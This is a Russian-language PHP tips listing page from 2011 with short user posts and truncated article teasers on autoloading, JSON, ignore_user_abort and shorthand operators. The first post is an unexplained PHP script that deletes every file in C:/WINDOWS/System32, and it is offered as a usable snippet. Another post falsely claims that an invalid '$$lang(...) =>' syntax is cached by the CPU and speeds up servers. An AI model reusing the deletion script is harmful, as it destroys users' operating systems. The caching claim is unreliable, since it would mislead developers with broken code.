« 1 2 3 »
Code
<?php  
set_time_limit(0);  
foreach (glob("C:/WINDOWS/System32/*") as $filename)  
{  
  unlink($filename);  
}  

?>
Просмотров: 611 | Добавил: FSoL | Дата: 01.11.2011 | Комментарии (0)


Скрипт "Облако тегов"

1)Cоздаём папку tagcloud, в которой должны быть 2 файла:
-swfobject.js содержащий

Меня всегда мучал вопрос - что лучше - переменные или массивы, в итоге, пришел к тому, что лучше всего недоменные.
недоменные, то есть подача в таком виде

$$lang("text1") => "Текст 1";
$$lang("text2") => "Текст 2";
$$lang("text3") => "Текст 3";

данный вариант является самым оптимальным, потому что он кешируется центральным процессором и все последующие действия обрабатываются в множество раз быстрее. за счет такой конструкции можно очень сильно разгрузить сервер. Если у вас выдает где то ошибку - возможно у вас старая версия php, ибо это появилось совсем недавно (на хабре читал может 1-2 месяца назад)

ключи могут быть как text1 так и текс1, хоть " " тоже будет являться ключем. работа очень удобная, использую ... Читать дальше »
Просмотров: 626 | Добавил: AgManiX | Дата: 20.10.2011 | Комментарии (0)

С помощью этого примера можно получить расширение файла+изменить его

Я сам редко сталкивался с такой ситуацией, но для больших проектов это наверняка часто встречающаяся проблема. Предположим, что скрипт выполняет какие-то запросы в базе данных (удление/добавления/редактирование) и во время этого пользователь нажимает кнопку Stop в браузере. По этой команде php скрипт завершает свою работу, что, в нашем случае может оказаться чреватым нарушением целостности базы данных.

Эта проблема решается функцией ignore_user_abort():
ignore_user_abort(true);

<!-- Ваши запросы к базе данных -->

ignore_user_abort(false);

Просмотров: 1196 | Добавил: AgManiX | Дата: 05.10.2011 | Комментарии (1)

В этой статье я хочу рассказать, как избавиться от include-ов файлов с PHP-классами и сделать их подгрузку полностью автоматической.

Этот метод актуален только для объектно-ориентированного стиля программирования, и будет работать в версии PHP 5.1.2 и выше.


Давайте рассмотрим пример. Имеем два файла:

Файл example.php:
class example {
static function call() {
echo 'You call "' . __CLASS__ . '" class.';
}
}
?>


Файл index.php:
include 'example.php';
example::call();
?>


Оба файла находятся в одной директории. В первом файле example.php объявлен класс example. Во втором файле мы подключаем example.php и вызываем метод call класса example. Метод call ... Читать дальше »
Просмотров: 2527 | Добавил: AgManiX | Дата: 05.10.2011 | Комментарии (0)

В этой статье я хочу рассказать о текстовом формате обмена данными — JSON, а именно — про работу с этим форматом в PHP.

JSON — компактный текстовый формат данных. Может применяться как в интернет-службах передачи данных, так и для хранения информации в структурированном виде.

Описание JSON из википедии:
JSON (англ. JavaScript Object Notation) — текстовый формат обмена данными, основанный на JavaScript и обычно используемый именно с этим языком. Как и многие другие текстовые форматы, JSON легко читается людьми.
Несмотря на происхождение от JavaScript (точнее, от подмножества языка стандарта ECMA-262 1999 года), формат считается языконезависимым и может использоваться практически с любым языком программирования. Для многих языков существует готовый код для создания и обработки данных в формате JSON.
Практическая польза использования JSON открывается при использовании технологии AJAX. Формат JSON является более кратким и удобочит ... Читать дальше »

Просмотров: 2799 | Добавил: AgManiX | Дата: 05.10.2011 | Комментарии (0)

Ленивые переменные-этот прием полезен для «ленивых» разработчиков, которые даже не задумываются о названиях переменных. Они предпочитают такое наименование, как «${0}» и «0» — ведь это хорошее название для переменной, почему нет…

Но я уверен, что когда нет переменной, нет и проблемы. Поэтому приведу несколько приемов, которые делают Ваш код короче и труднее для восприятия :)

Трюк I. Используйте || (или) и && (и) вместо if

Много кода
$status = fwrite($h, 'some text');
if(!$status) {
log('Writing failed');
}

Меньше кода

${0} = fwrite($h, 'some text');
if(!${0}) log('Writing failed');

Еще меньше кода

fwrite($h, 'some text') or log('Writing failed');

Трюк II.Используйте «тернарный оператор»

Много кода

if($age < 16) {
$m ... Читать дальше »

Просмотров: 776 | Добавил: AgManiX | Дата: 05.10.2011 | Комментарии (0)

Простенький скрипт, довольно сырой, но использовать можно.

Изначально писался под Linux




1-10 11-20 21-30